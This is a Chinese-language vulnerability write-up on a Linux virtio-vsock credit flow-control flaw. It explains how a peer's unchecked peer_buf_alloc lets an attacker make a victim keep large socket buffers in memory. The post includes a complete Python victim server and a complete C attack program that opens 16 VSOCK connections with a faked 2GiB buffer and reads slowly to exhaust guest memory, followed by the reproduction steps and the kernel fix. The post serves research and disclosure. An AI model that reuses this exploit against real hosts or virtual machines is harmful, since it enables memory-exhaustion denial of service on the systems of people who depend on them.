背景 在全虚拟化 中,宿主机需要通过软件「模拟」真实的物理硬件。当虚拟机执行特权指令时(例如,读写硬件的寄存器),Hypervisor便需要中断处理。这需要特权切换,因此性能开销较大。而通过半虚拟化 技术,虚拟机能够向虚拟机管理程序表明其意图,从而提升性能。
VirtIO定义了设备驱动和硬件(包括虚拟硬件和物理硬件)之间的通信标准,主要用于半虚拟化环境。其允许虚拟机通过VirtIO设备来使用宿主机的物理设备,VirtIO设备本身主要负责数据传输。VirtIO架构主要分为三个部分:前端驱动程序、后端设备、VirtQueue及VRing。三者的关系如下图所示(参考了该图片 ):
virtio-vsock是VirtIO家族中用于socket通信的设备类型,定义了AF_VSOCK地址族,用于宿主机与虚拟机之间的通信。virtio-vsock在传输层之上引入了一套credit流控机制,核心流程如下:
1 2 3 4 5 6 用户send(fd, buf, N) → virtio_transport_stream_enqueue // socket层的send_msg回调 → virtio_transport_send_pkt_info // 统一发送入口 → virtio_transport_get_credit(credit = N) ret = min_t(u32, N, virtio_transport_has_space(vvs)) → 按ret分配sk_buff,放入VirtQueue
攻击流程 get_credit的返回值ret是min(用户想发的字节数, 对端剩余缓冲区空间),而剩余空间由virtio_transport_has_space计算:
1 bytes = (s64)vvs->peer_buf_alloc - (vvs->tx_cnt - vvs->peer_fwd_cnt);
这里tx_cnt是本端累计已发字节数(每次send()累加),peer_fwd_cnt是对端累计已消费字节数,peer_buf_alloc是对端通告的缓冲区大小。
攻击的关键在于peer_buf_alloc由对端控制,本地并无校验或额外限制。攻击者可先将缓冲区大小上限SO_VM_SOCKETS_BUFFER_MAX_SIZE提高到足够大的值,然后将缓冲区大小SO_VM_SOCKETS_BUFFER_SIZE设为较大的值(如2GiB),该值将通过数据包携带给对端,更新其peer_buf_alloc。攻击者随后向受害者发起连接并发送请求,受害者服务响应该请求时,会调用send()回传数据。此时send_pkt_info内部的do-while循环将pkt_len(即实际发送的字节数)全部切分为sk_buff并放入VirtQueue。
在此基础上,攻击者可以缓慢调用recv(),导致受害者的peer_fwd_cnt增长极慢,而tx_cnt随着每次回传数据持续累积。由于peer_buf_alloc被谎报为较大的值,并且send()要等到未确认数据到达对应阈值才会阻塞;因此若对端需要发送大量数据(如文件传输等场景),则单条连接可能存在接近SO_VM_SOCKETS_BUFFER_SIZE值的sk_buff滞留内存。攻击者同时维持多条此类连接,即可耗尽系统的内存资源。
复现 根据上述原理,我编写了PoC,复现了相关效果。其中,受害方运行一个Python脚本,监听相应端口(示例中为1122),若有请求则会不断发送数据;攻击方运行一个C语言程序,其向受害方请求连接,伪造了peer_buf_alloc,并缓慢接收数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import socketimport threadingimport timePORT = 1122 VMADDR_CID_ANY = 0xFFFFFFFF def tomori_singing_thread (conn, addr ): print (f"[+] (Tomori): Someone is here from CID:{addr[0 ]} ... I will sing my heart out..." ) heavy_feelings = b"Tomori's heavy feelings... " * 40000 try : while True : conn.sendall(heavy_feelings) except Exception as e: print (f"[-] (Tomori): Ah... the connection dropped. {e} " ) def main (): s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM) s.bind((VMADDR_CID_ANY, PORT)) s.listen(128 ) print (f"[*] RiNG studio is open. Listening on VSOCK port {PORT} ..." ) print ("[*] Waiting for audience...\n" ) while True : conn, addr = s.accept() threading.Thread(target=tomori_singing_thread, args=(conn, addr), daemon=True ).start() if __name__ == "__main__" : main()
下列程序中,TARGET_CID为VSOCK的ID,若使用Incus,可通过incus config get <vm_name> vsock.id获取。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 #include <linux/vm_sockets.h> #include <pthread.h> #include <stdio.h> #include <sys/socket.h> #include <unistd.h> #define MAX_CONNS 16 #define TARGET_PORT 1122 #define TARGET_CID 772857255 typedef struct { int id; } thread_data_t ; static void *band_member_thread (void *arg) { thread_data_t *data = (thread_data_t *)arg; int fd = socket(AF_VSOCK, SOCK_STREAM, 0 ); if (fd < 0 ) { return NULL ; } unsigned long long huge_buf = 2ULL * 1024 * 1024 * 1024 ; setsockopt(fd, AF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE, &huge_buf, sizeof (huge_buf)); setsockopt(fd, AF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE, &huge_buf, sizeof (huge_buf)); struct sockaddr_vm sa = { .svm_family = AF_VSOCK, .svm_cid = TARGET_CID, .svm_port = TARGET_PORT, }; if (connect(fd, (struct sockaddr *)&sa, sizeof (sa)) == 0 ) { printf ("[+] Thread %02d (Anon): \"Yeah, I'm totally listening! I have 2GiB of space!\"\n" , data->id); char matcha_bite; while (1 ) { read(fd, &matcha_bite, 1 ); usleep(1000 ); } } else { printf ("[-] Thread %02d (Taki): \"Why isn't she connecting?!\"\n" , data->id); } return NULL ; } int main () { pthread_t threads[MAX_CONNS]; thread_data_t thread_data[MAX_CONNS]; printf ("[*] Assembling at the studio (Launching %d connections to CID: %d)...\n\n" , MAX_CONNS, TARGET_CID); for (int i = 0 ; i < MAX_CONNS; i++) { thread_data[i].id = i; pthread_create(&threads[i], NULL , band_member_thread, &thread_data[i]); usleep(100000 ); } printf ("\n[!] All members are present. The fake connections are established.\n" ); printf ("[!] Tomori is pouring her heart out, but no one is truly receiving it.\n" ); printf ("[*] Soyo (Smiling): \"Everything is fine...\" \n" ); printf (" (While the Guest VM's Slab memory is silently suffocating)\n\n" ); printf ("[*] Waiting for the heavy atmosphere to crush the Guest VM...\n" ); for (int i = 0 ; i < MAX_CONNS; i++) { pthread_join(threads[i], NULL ); } return 0 ; }
我将宿主机作为攻击方,虚拟机作为受害方。虚拟机中运行Ubuntu 22.04,内核版本为5.15.0-185-generic。根据官方公告 ,该内核版本受影响。
运行过程中使用watch -n 0.5 'grep -E "Slab|MemAvailable" /proc/meminfo'监视虚拟机的内存占用情况。可以发现,虚拟机中内存使用量持续上升,并且无法继续建立VSOCK连接,最终导致Incus的shell退出。
修复与后续 Linux内核于该commit 中修复了该问题。其引入了virtio_transport_tx_buf_size函数,将额度限制为peer_buf_alloc和buf_alloc的较小值,而buf_alloc为本端的缓冲区大小上限。